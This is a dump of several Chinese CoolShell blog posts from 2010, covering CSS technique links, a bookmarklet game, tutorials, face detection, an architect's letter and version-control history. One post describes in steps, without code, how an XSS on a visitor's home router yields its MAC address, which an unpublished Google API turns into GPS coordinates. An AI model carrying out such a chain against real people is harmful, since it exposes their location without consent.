Arrow](http://www.pmob.co.uk/pob/animated.htm)\n\n\n[![](../wp-content/uploads/2010/09/6animated_roll_over.jpg \"6animated_roll_over\")](http://www.pmob.co.uk/pob/animated.htm)\n\n\n#### 7. [Animations](http://i.imgur.com/dYFBl.png)\n\n\n[![](../wp-content/uploads/2010/09/7animation-580x203.jpg \"7animation\")](http://i.imgur.com/dYFBl.png)\n\n\n#### 8. [Background Size](http://i.imgur.com/OcbHO.png)\n\n\n[![](../wp-content/uploads/2010/09/8bgsize-580x203.jpg \"8bgsize\")](http://i.imgur.com/OcbHO.png)\n\n\n#### 9. [Better Ordered Lists](http://css-tricks.com/better-ordered-lists-using-simple-php-and-css/) (Using Simple PHP and CSS)\n\n\n[![](../wp-content/uploads/2010/09/9css.png \"9css\")](http://css-tricks.com/better-ordered-lists-using-simple-php-and-css/)\n\n\n#### 10. [Box Shadow](http://i.imgur.com/e5VlA.png)\n\n\n[![](../wp-content/uploads/2010/09/10shadow-580x203.jpg \"10shadow\")](http://i.imgur.com/e5VlA.png)\n\n\n#### 11. [Creating a table with dynamically highlighted columns](http://www.askthecssguy.com/2007/08/creating_a_table_with_dynamica.html)\n\n\n[![](../wp-content/uploads/2010/09/11.png \"11\")](http://www.askthecssguy.com/2007/08/creating_a_table_with_dynamica.html)\n\n\n#### 12. [Creating bulletproof graphic link buttons with CSS | 456 Berea Street](http://www.456bereastreet.com/archive/200705/creating_bulletproof_graphic_link_buttons_with_css/)\n\n\n[![](../wp-content/uploads/2010/09/12css.png \"12css\")](http://www.456bereastreet.com/archive/200705/creating_bulletproof_graphic_link_buttons_with_css/)\n\n\n#### 13. [Creative and Cool Uses of the CSS Border Property](http://www.cssnewbie.com/12-creative-and-cool-uses-for-the-css-border-property/)\n\n\n[![](../wp-content/uploads/2010/09/13CSS-Border-Property.jpg \"13CSS-Border-Property\")](http://www.cssnewbie.com/12-creative-and-cool-uses-for-the-css-border-property/)\n\n\n#### 14. [Creative Use of PNG Transparency in Web Design](http://www.digital-web.com/articles/web_standards_creativity_png/)\n\n\n[![](../wp-content/uploads/2010/09/14css02.png \"14css02\")](http://www.digital-web.com/articles/web_standards_creativity_png/)\n\n\n#### 15. [Cross Browser CSS SlideShow](http://www.cssplay.co.uk/menu/slide_show)\n\n\n[![](../wp-content/uploads/2010/09/15cross-browser-slide-show-580x384.jpg \"15cross-browser-slide-show\")](http://www.cssplay.co.uk/menu/slide_show)\n\n\n#### 16. [Cross Browser Multi-Page Photograph Gallery](http://www.cssplay.co.uk/menu/lightbox.html#Portraits)\n\n\n[![](../wp-content/uploads/2010/09/16_cross_browser_image_galler.jpg \"16_cross_browser_image_galler\")](http://www.cssplay.co.uk/menu/lightbox.html#Portraits)\n\n\n#### 17. [CSS Bar Graphs: Examples](http://applestooranges.com/blog/post/css-for-bar-graphs/?id=55)\n\n\n[![](../wp-content/uploads/2010/09/17_css_bar_graph_example.jpg \"17_css_bar_graph_example\")](http://applestooranges.com/blog/post/css-for-bar-graphs/?id=55)\n\n\n#### 18. [CSS Based Navigation](http://www.nundroo.com/navigation/)\n\n\n[![](../wp-content/uploads/2010/09/18-css-techniques0000.gif \"18 css-techniques0000\")](http://www.nundroo.com/navigation/)\n\n\n#### 19. [CSS Curves](http://storage.couchfort.net/cssCurves/)\n\n\n[![](../wp-content/uploads/2010/09/19css-techniques0014.gif \"19css-techniques0014\")](http://storage.couchfort.net/cssCurves/)\n\n\n#### 20. [CSS Dock Menu](http://www.ndesign-studio.com/blog/mac/css-dock-menu)\n\n\n[![](../wp-content/uploads/2010/09/20.png \"20\")](http://www.ndesign-studio.com/blog/mac/css-dock-menu)\n\n\n#### 21. [CSS Double Lists](http://mikecherim.com/experiments/css_double_lists.php)\n\n\n[![](../wp-content/uploads/2010/09/21css37.png \"21css37\")](http://mikecherim.com/experiments/css_double_lists.php)\n\n\n#### 22. [CSS-Based Tables: Technique](http://www.smashingmagazine.com/2006/12/29/css-based-tables-modern-solutions/)\n\n\n[![](../wp-content/uploads/2010/09/22css-techniques0025.gif \"22css-techniques0025\")](http://www.smashingmagazine.com/2006/12/29/css-based-tables-modern-solutions/)\n\n\n#### 23. [CSS Gradient Text Effect](http://www.webdesignerwall.com/tutorials/css-gradient-text-effect/)\n\n\n[![](../wp-content/uploads/2010/09/23_css_text_gradient.jpg \"23_css_text_gradient\")](http://www.webdesignerwall.com/tutorials/css-gradient-text-effect/)\n\n\n#### 24. [CSS List Boxes](http://mikecherim.com/gbcms_xml/news_page.php?id=24#n24)\n\n\n[![](../wp-content/uploads/2010/09/24listboxes.jpg \"24listboxes\")](http://mikecherim.com/gbcms_xml/news_page.php?id=24#n24)\n\n\n#### 25. [CSS Map Pop](http://mikecherim.com/experiments/css_map_pop.php)\n\n\n[![](../wp-content/uploads/2010/09/25css-techniques0021.gif \"25css-techniques0021\")](http://mikecherim.com/experiments/css_map_pop.php)\n\n\n#### 26. [CSS Pricing Matrix](http://www.askthecssguy.com/2007/09/sangeeta_asks_the_css_guy_how_1.html)\n\n\n[![](../wp-content/uploads/2010/09/26csspricingmatrix.png \"26csspricingmatrix\")](http://www.askthecssguy.com/2007/09/sangeeta_asks_the_css_guy_how_1.html)\n\n\n#### 27. [CSS Production Notes](http://24ways.org/2006/css-production-notes)\n\n\n[![](../wp-content/uploads/2010/09/27.gif \"27\")](http://24ways.org/2006/css-production-notes)\n\n\n#### 28. [CSS Pull Quotes](http://www.designmeme.com/articles/csspullquotes/)\n\n\n[![](../wp-content/uploads/2010/09/28css36.png \"28css36\")](http://www.designmeme.com/articles/csspullquotes/)\n\n\n#### 29. [CSS Rounded Corners Roundup](http://www.smileycat.com/miaow/archives/000044.php#nojavascript) (Nifty Corners)\n\n\n[![](../wp-content/uploads/2010/09/29css-techniques0008.gif \"29css-techniques0008\")](http://www.smileycat.com/miaow/archives/000044.php#nojavascript)\n\n\n#### 30. [CSS SiteMap](http://wordpress.betech.virginia.edu/index.php/2007/10/03/css-sitemap/)\n\n\n[![](../wp-content/uploads/2010/09/30css42.png \"30css42\")](http://wordpress.betech.virginia.edu/index.php/2007/10/03/css-sitemap/)\n\n\n#### 31. [CSS Speech Bubbles](http://www.willmayo.com/2007/02/10/css-speech-bubbles/)\n\n\n[![](../wp-content/uploads/2010/09/31best-of-february-03.png \"31best-of-february-03\")](http://www.willmayo.com/2007/02/10/css-speech-bubbles/)\n\n\n#### 32. [CSS Stacked Bar Graphs](http://www.thewojogroup.com/2008/12/css-stacked-bar-graphs/)\n\n\n[![](../wp-content/uploads/2010/09/32stacked-bar-graph.jpg \"32stacked-bar-graph\")](http://www.thewojogroup.com/2008/12/css-stacked-bar-graphs/)\n\n\n#### 33. [CSS Step Menu](http://codylindley.com/CSS/325/css-step-menu)\n\n\n[![](../wp-content/uploads/2010/09/33css52.png \"33css52\")](http://codylindley.com/CSS/325/css-step-menu)\n\n\n#### 34. [CSS Tabs](http://exploding-boy.com/images/cssmenus/menus.html)\n\n\n[![](../wp-content/uploads/2010/09/34css-techniques0002.gif \"34css-techniques0002\")](http://exploding-boy.com/images/cssmenus/menus.html)\n\n\n#### 35. [CSS Teaser Box](http://www.456bereastreet.com/lab/teaser/)\n\n\n[![](../wp-content/uploads/2010/09/35css-techniques0029.gif \"35css-techniques0029\")](http://www.456bereastreet.com/lab/teaser/)\n\n\n#### 36. [CSS Zooming](http://www.deltatangobravo.com/images/zoom/)\n\n\n[![](../wp-content/uploads/2010/09/36css-techniques0032.gif \"36css-techniques0032\")](http://www.deltatangobravo.com/images/zoom/)\n\n\n#### 37. [CSS: Menu Descriptions](http://mikecherim.com/experiments/css_menu_descriptions.php#)\n\n\n[![](../wp-content/uploads/2010/09/37css61.png \"37css61\")](http://mikecherim.com/experiments/css_menu_descriptions.php#)\n\n\n#### 38. [CSS-Based Forms: Techniques](http://www.smashingmagazine.com/2006/11/11/css-based-forms-modern-solutions/)\n\n\n[![](../wp-content/uploads/2010/09/38css-techniques0024.gif \"38css-techniques0024\")](http://www.smashingmagazine.com/2006/11/11/css-based-forms-modern-solutions/)\n\n\n#### 39. [Date Display Technique with Sprites](http://css-tricks.com/date-display-with-sprites/)\n\n\n[![](../wp-content/uploads/2010/09/39Display-Date-Using-Sprites.png \"39Display-Date-Using-Sprites\")](http://css-tricks.com/date-display-with-sprites/)\n\n\n#### 40. [Displaying Percentages with CSS](http://www.barenakedapp.com/the-design/displaying-percentages)\n\n\n[![](../wp-content/uploads/2010/09/40css-techniques0036.gif \"40css-techniques0036\")](http://www.barenakedapp.com/the-design/displaying-percentages)\n\n\n文章来源：<http://technologytosoftware.com/best-css-techniques-you-shouldt-miss-for-effective-coding.html>\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [![CSS 布局:40个教程、技巧、例子和最佳实践](../wp-content/uploads/2012/03/css-layouts-150x150.gif)](https://coolshell.cn/articles/6840.html)[CSS 布局:40个教程、技巧、例子和最佳实践](https://coolshell.cn/articles/6840.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3903.html)[一些有意思的贴子和工具](https://coolshell.cn/articles/3903.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\nThe post [40个很不错的CSS技术](https://coolshell.cn/articles/3063.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-10-8 Kick Ass小游戏.md",
    "content": "---\nlayout: post\ntitle: Kick Ass小游戏\ndate: 2010/10/8/ 6:6:8\nupdated: 2010/10/8/ 6:6:8\nstatus: publish\npublished: true\ntype: post\n---\n\n还记得以前那个在IE的已打开的网页上的网址里输入一段javascript的代码后，你会发现这个页面里所有的图片元素都动了起来：（只能在IE浏览器里，Chrome和Firefox无效）\n\n\n\n> javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position=’absolute’; DIS.left=Math.sin(R\\*x1+i\\*x2+x3)\\*x4+x5; DIS.top=Math.cos(R\\*y1+i\\*y2+y3)\\*y4+y5}R++}setInterval(‘A()’,5); void(0);\n> \n> \n\n\n很类似一个叫Erik Rothoff Andersson的人又搞了[Kick Ass的游戏](http://erkie.github.com/)，代码如下：（用了一个js文件，所以就显得没有那么复杂了，但只能在Chrome和Firefox下有用）\n\n\n\n> javascript:var s=document.createElement(‘script’); s.type=’text/javascript’;document.body.appendChild(s); s.src=’http://erkie.github.com/asteroids.min.js’;void(0);\n> \n> \n\n\n在已打开的网页上输入这段代码，你会发现网页的左上角上出现了一个三角形，然后，你可以开始使用\n\n\n* “左右方向键控制方向”，\n* “上方向键控制前进”，\n* “空格射击”，\n* “B键查看有什么东西可以被射击”，\n* “Esc键退出”，\n\n\n于是就出现好玩的东西了。\n\n\n为了方便你试验，你可以点击上面的这个链接，\n\n\n**Kiss Ass**\n\n\n你可以把这个链接加入收藏夹，当你需要删除某些网页上的广告或是很让你不爽的东西时，打开这个网址，就可以开始了。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [![Lua简明教程](../wp-content/uploads/2013/12/lua-150x150.gif)](https://coolshell.cn/articles/10739.html)[Lua简明教程](https://coolshell.cn/articles/10739.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/10337.html)[数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html)\nThe post [Kick Ass小游戏](https://coolshell.cn/articles/3070.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-10-9 Google未公开API：转MAC地址为经纬度.md",
    "content": "---\nlayout: post\ntitle: Google未公开API：转MAC地址为经纬度\ndate: 2010/10/9/ 7:28:13\nupdated: 2010/10/9/ 7:28:13\nstatus: publish\npublished: true\ntype: post\n---\n\n这里有一个POC（Proof of Concept）可以通过你Web浏览器后面的路由器XSS攻击得到一个准确的GPS坐标。注意：路由器和Web浏览器以及IP地址并不包含任和地理信息。其方法是使用了一个Google未公开的API。大约方法如下：\n\n\n1. 访问一个网页，这个网页隐藏了一个基于你WiFi路由器的XSS（ 参见： [XSS  Verizon FiOS router](http://samy.pl/vzwfios/)）\n2. 通过这个XSS 可以获得路由器的MAC 地址。\n3. 然后通过 Google Location Services我们可以把这个MAC地址映射到GPS坐标。Googel的这个服务是基于HTTP的服务。这并不是一个Google正式发布的API，而是通过 [Firefox’s Location-Aware Browsing](http://www.mozilla.com/en-US/firefox/geolocation/) 发现的。\n\n\n演示地点在这里：<http://samy.pl/mapxss/>\n\n\n我试了一下，无论无线和有线都可以准确定位我的位置。很强大，你也试试看。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![PFIF网上寻人协议](../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png)](https://coolshell.cn/articles/9508.html)[PFIF网上寻人协议](https://coolshell.cn/articles/9508.html)\n* [![程序员疫苗：代码注入](../wp-content/uploads/2012/12/200906020837401710-150x150.jpg)](https://coolshell.cn/articles/8711.html)[程序员疫苗：代码注入](https://coolshell.cn/articles/8711.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/5815.html)[来信， 创业 和 移动互联网](https://coolshell.cn/articles/5815.html)\nThe post [Google未公开API：转MAC地址为经纬度](https://coolshell.cn/articles/3089.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-10-9 三个教程.md",
    "content": "---\nlayout: post\ntitle: 三个教程\ndate: 2010/10/9/ 6:6:21\nupdated: 2010/10/9/ 6:6:21\nstatus: publish\npublished: true\ntype: post\n---\n\n第一个是关于vim的，相当的全面。\n\n\n<http://stevelosh.com/blog/2010/09/coming-home-to-vim/>\n\n\n第二个是Mozilla的Javascript教程\n\n\n<https://developer.mozilla.org/en/JavaScript/Guide>\n\n\n第三个是Kernighan 和Ritchie 的 “The C Programming Language”第二版的问答和练习。\n\n\n<http://users.powernet.co.uk/eton/kandr2/>\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Lua简明教程](../wp-content/uploads/2013/12/lua-150x150.gif)](https://coolshell.cn/articles/10739.html)[Lua简明教程](https://coolshell.cn/articles/10739.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/10337.html)[数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/10169.html)[类型的本质和函数式实现](https://coolshell.cn/articles/10169.html)\n* [![游戏：VIM大冒险](../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg)](https://coolshell.cn/articles/7166.html)[游戏：VIM大冒险](https://coolshell.cn/articles/7166.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5202.html)[对象的消息模型](https://coolshell.cn/articles/5202.html)\nThe post [三个教程](https://coolshell.cn/articles/3083.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-11-1 一个人脸识别的Javascript.md",
    "content": "---\nlayout: post\ntitle: 一个人脸识别的Javascript\ndate: 2010/11/1/ 0:57:53\nupdated: 2010/11/1/ 0:57:53\nstatus: publish\npublished: true\ntype: post\n---\n\n这里有一个[人脸识别的Javascript](http://liuliu.me/detect/detect.html)，感觉挺酷的。识别的还是很不错的，网友们在做了很多的[测试](http://www.reddit.com/r/programming/comments/dy81y/my_notsoslow_face_detector_in_javascript/)，对于动画片里的人员很不准，而且，照片质量要好一点的会准一点。下面是一些识别结果：\n\n\nhttp://i.imgur.com/jpDEK.jpg\n\n\n一个递归式的图\n\n\n\nhttp://i.imgur.com/cvVAa.jpg\n\n\n不过，好像只能识别白人\n\n\nhttp://i.imgur.com/c7ica.png\n\n\n大家可以去试试。\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [![Lua简明教程](../wp-content/uploads/2013/12/lua-150x150.gif)](https://coolshell.cn/articles/10739.html)[Lua简明教程](https://coolshell.cn/articles/10739.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/10337.html)[数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html)\nThe post [一个人脸识别的Javascript](https://coolshell.cn/articles/3254.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-11-16 架构师给程序员的一封信.md",
    "content": "---\nlayout: post\ntitle: 架构师给程序员的一封信\ndate: 2010/11/16/ 1:12:4\nupdated: 2010/11/16/ 1:12:4\nstatus: publish\npublished: true\ntype: post\n---\n\n下面的邮件是某Architect发给他的Engineering团队的（[来源](http://blog.kapilkaisare.info/from-an-architect-to-a-programmer?c=1)），我觉得挺不错的，翻译过来，我相信我们所有的程序员都能从中学到很多东西。下面是这封邮件——\n\n\n\n每次当我开始做新的东西是我就会很兴奋。就算在软件圈里做了20年以后，每当开始新的旅程里，我都觉得我心中有一些东西不吐不快。这是我们大家一起的旅程。我强烈地相信我们详细规划的过程是很有乐趣的，富有挑战的和丰富多彩的。我想让这个旅程让你们难忘，并且能增添你们所有人的阅历。\n\n\n这看起来有些唯心主义，不过，我想制订我的工作日程，我们的技术策略，以及你们密切合作的进度。这样一来，当你们做了什么相当不错的事，我们所有人都可以受益。我相当的尊重第一个工程师和他们的代码。\n\n\n1. 代码是王。文档仅随其后 。所以，代码一定要和文档一致，并可以正确执行。\n\n\n2. 测试，测试，测试。\n\n\n3. 单元测试非常关键 。每一个在单元测试之后发现的bug需要开发人员双倍的开销。记住，我宁可增加你的薪水，也不愿意把这些钱发给另一个QA团队然后你再修正bug。因此，如果你的代码满是bug的话，我不得不把钱付给更多的人，而你也只能分得很小的一块饼。\n\n\n4. 写下有效率的代码，不但是让人读得有效率，而且也是让CPU执行 地有效率。对于坏代码永远不会善罢甘休。\n\n\n5. 多了解今天工作需要之外的事情。你不仅仅要知道今天干什么，还要知道明天需要什么。\n\n\n\n6. 回家时不时做点菜，是的，真正的做菜。这会教会你菜谱和做饭的不同。菜谱告诉你这道菜需要什么样的食材，而你实际去做需要考虑的是你现在手上有什么……这就是其中的不同。（对于一个刚起步的公司，这是一个最大的教训）\n\n\n7. 创新和好点子（技术或是产品），请与大家共享。\n\n\n8. 我知道你不喜欢商人。我也知道为什么。他们销售那些你做不到的，他们承诺那些你完不成的。他们要求的比他们付出的更多。但是，没有他们，我们可能没有办法把商业转换成产品。这是一件很难的技能。把你的想法告诉我，我愿意成为你和他们间的缓冲。要建造一个好的团队，我们需要的所有的东西。\n\n\n9. 作为一个工程师，热爱你的专业。你能拥有一个可以挣钱、受人尊重、并拥有乐趣的程序员人生。\n\n\n你觉得怎么样？\n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [架构师给程序员的一封信](https://coolshell.cn/articles/3281.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-11-17 版本管理器的发展史.md",
    "content": "---\nlayout: post\ntitle: 版本管理器的发展史\ndate: 2010/11/17/ 0:50:48\nupdated: 2010/11/17/ 0:50:48\nstatus: publish\npublished: true\ntype: post\n---\n\n以前本站发布过[编程语言进化](https://coolshell.cn/articles/3100.html)，[Windows的达尔文进化图](https://coolshell.cn/articles/3097.html)，今天在网上看到版本管理器的进化图，转过来，源文链接如下：\n\n\n<http://codicesoftware.blogspot.com/2010/11/version-control-timeline.html> (墙)\n\n\n[![](../wp-content/uploads/2010/11/scmhistory.png \"版本管理器的演化图\")](https://coolshell.cn/wp-content/uploads/2010/11/scmhistory.png)\n\n\n这张图上分成了四个时期：\n\n\n\n**史前时期**：1982年的RCS。现在你可能还能在Unix的发布包中找到它。\n\n\n**古典时期**：1990年的CVS（经典的SCM管理器，可惜不能track目录和文件名的改变，今天这个东西已经过时了），1985年的PVCS，1992年的clearcase（价格贵，功能复杂，当然，今天也有很多公司在用），微软的VSS（Welcome to Hell），90年代中期的Perforce(P4，这个工具今天都还在被广泛地使用，尤其是那些中等大小却有着大量开发团队的公司，现在是Google内部最大的代码管理器)。\n\n\n**中世纪时期**：SVN（Linus很不喜欢SVN，2006年引入了Git），AccuRev(强力支持branch和merge，其扮演了一个很重要角色帮助社区脱离clearcase和CVS)，\n\n\n**文艺复兴时期**：BitKeeper——Sun的内部管理工具，Linux的内核代码2002年也用这个工具，其实，很多开源工程都在用这个工具，2005年这个工具的东家BitMover对大家对BitKeeper逆向工程很不满，于是停止支持开源，于是出现了Git。\n\n\nGit的第一个版本是Linux之父Linus Torvalds亲手操刀设计和实现的（据说只用了一个周末），Linus不仅仅给出一个原始设计（简单的、干净的、天才的），同时，他也用自己那独一无二的风格催生了这个项目（请参看： [http://codicesoftware.blogspot.com/2007/05/linus-torvalds-on-git-and-scm.htm](http://codicesoftware.blogspot.com/2007/05/linus-torvalds-on-git-and-scm.html)l 还是被墙）。\n\n\n在Linus介绍Git的著名的演讲中，他强烈地批评（好吧，应该算是侮辱）了CVS，SVN，和Perforce：“Subversion是史上最毫无意义的项目，从项目开始就是这样了”，“如果你喜欢CVS，那么你现在应该在某个精神病研究中心或是别的地方”，“别在用Preforce了，它是十分糟糕和可悲的，这绝对绝对是真的”。无论是反对还是喜欢，Linus的确是改变了历史——中世纪已经过去了，现在的世界由分布式系统主宰，以及消除branch和merge的恐惧。\n\n\nGit 基于 DAG 结构 (Directed Acyclic Graph)，其运行起来相当的快。在Git发布后的来年，世界上所有的大型的开源项目全部从Subversion迁移到了Git上，[www.github.com](http://www.github.com/)真是很大，这可能是这具星球上最强大最牛最酷的SCM系统了。Git可能并不是最简单的，但它一定会是未来十年的主流。（有空读读这本书——[Git Internals](http://peepcode.com/products/git-internals-pdf)）\n\n\nMercurial (Hg) 第一次出现在2005年4月，也是因为BitKeeper不免费了。Hg可以和Git在一起使用，见：<http://mercurial.selenic.com/wiki/HgGit>。但是Hg和Git在设计上不一样，他们对提交/变更的概念是一样的，只不过Git用tree来实现，而Hg则是用扁平的文件和目录来实现（revlog），设计细节可参看：<http://mercurial.selenic.com/wiki/Design>和 <http://mercurial.selenic.com/wiki/DeveloperInfo>。\n\n\nDarcs (Darcs Advanced Revision Control System)是另一个让你摆脱Subversion和CVS的工具，2002年开始，今年是2.5版。它的优势是性能，以及他与众不同的历史版本管理——管理patches而不是snapshot（提交/修改），当然，这样一来，历史改变看上去很不好懂。\n\n\nBazaar (bzr) 是另一个开源的 DVCS，它试图给SCM的世界里带来一些新的东西。其由Canonical开发（Ubuntu的那个公司），在2008年成为GNU。\n\n\nPlastic在2006年出现，强力地支持branch和merge，其还提供了强大的图示，包括3D的版本树，Plastic主要是为了让中等开发团队使用，介于大型的团队（ClearCase）和小型的团队（Subversion）之间。\n\n\nTeam Foundation Server (TFS)，微软的新一代SCM工具，主要是为了VSS的失败负责，但是他还不是版本管理上还是很强，只不过，他集成了一大堆各种各样的工具，比如：issue tracking，test management等。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Git显示漂亮日志的小技巧](../wp-content/uploads/2012/06/git.log_.01-150x150.png)](https://coolshell.cn/articles/7755.html)[Git显示漂亮日志的小技巧](https://coolshell.cn/articles/7755.html)\n* [![版本控制Subversion相关资源](../wp-content/uploads/2009/03/tortoisesvn-150x150.png)](https://coolshell.cn/articles/93.html)[版本控制Subversion相关资源](https://coolshell.cn/articles/93.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/2363.html)[MSDN中的两个命名](https://coolshell.cn/articles/2363.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/7126.html)[这到底是谁之错？](https://coolshell.cn/articles/7126.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/2704.html)[检查素数的正则表达式](https://coolshell.cn/articles/2704.html)\n* 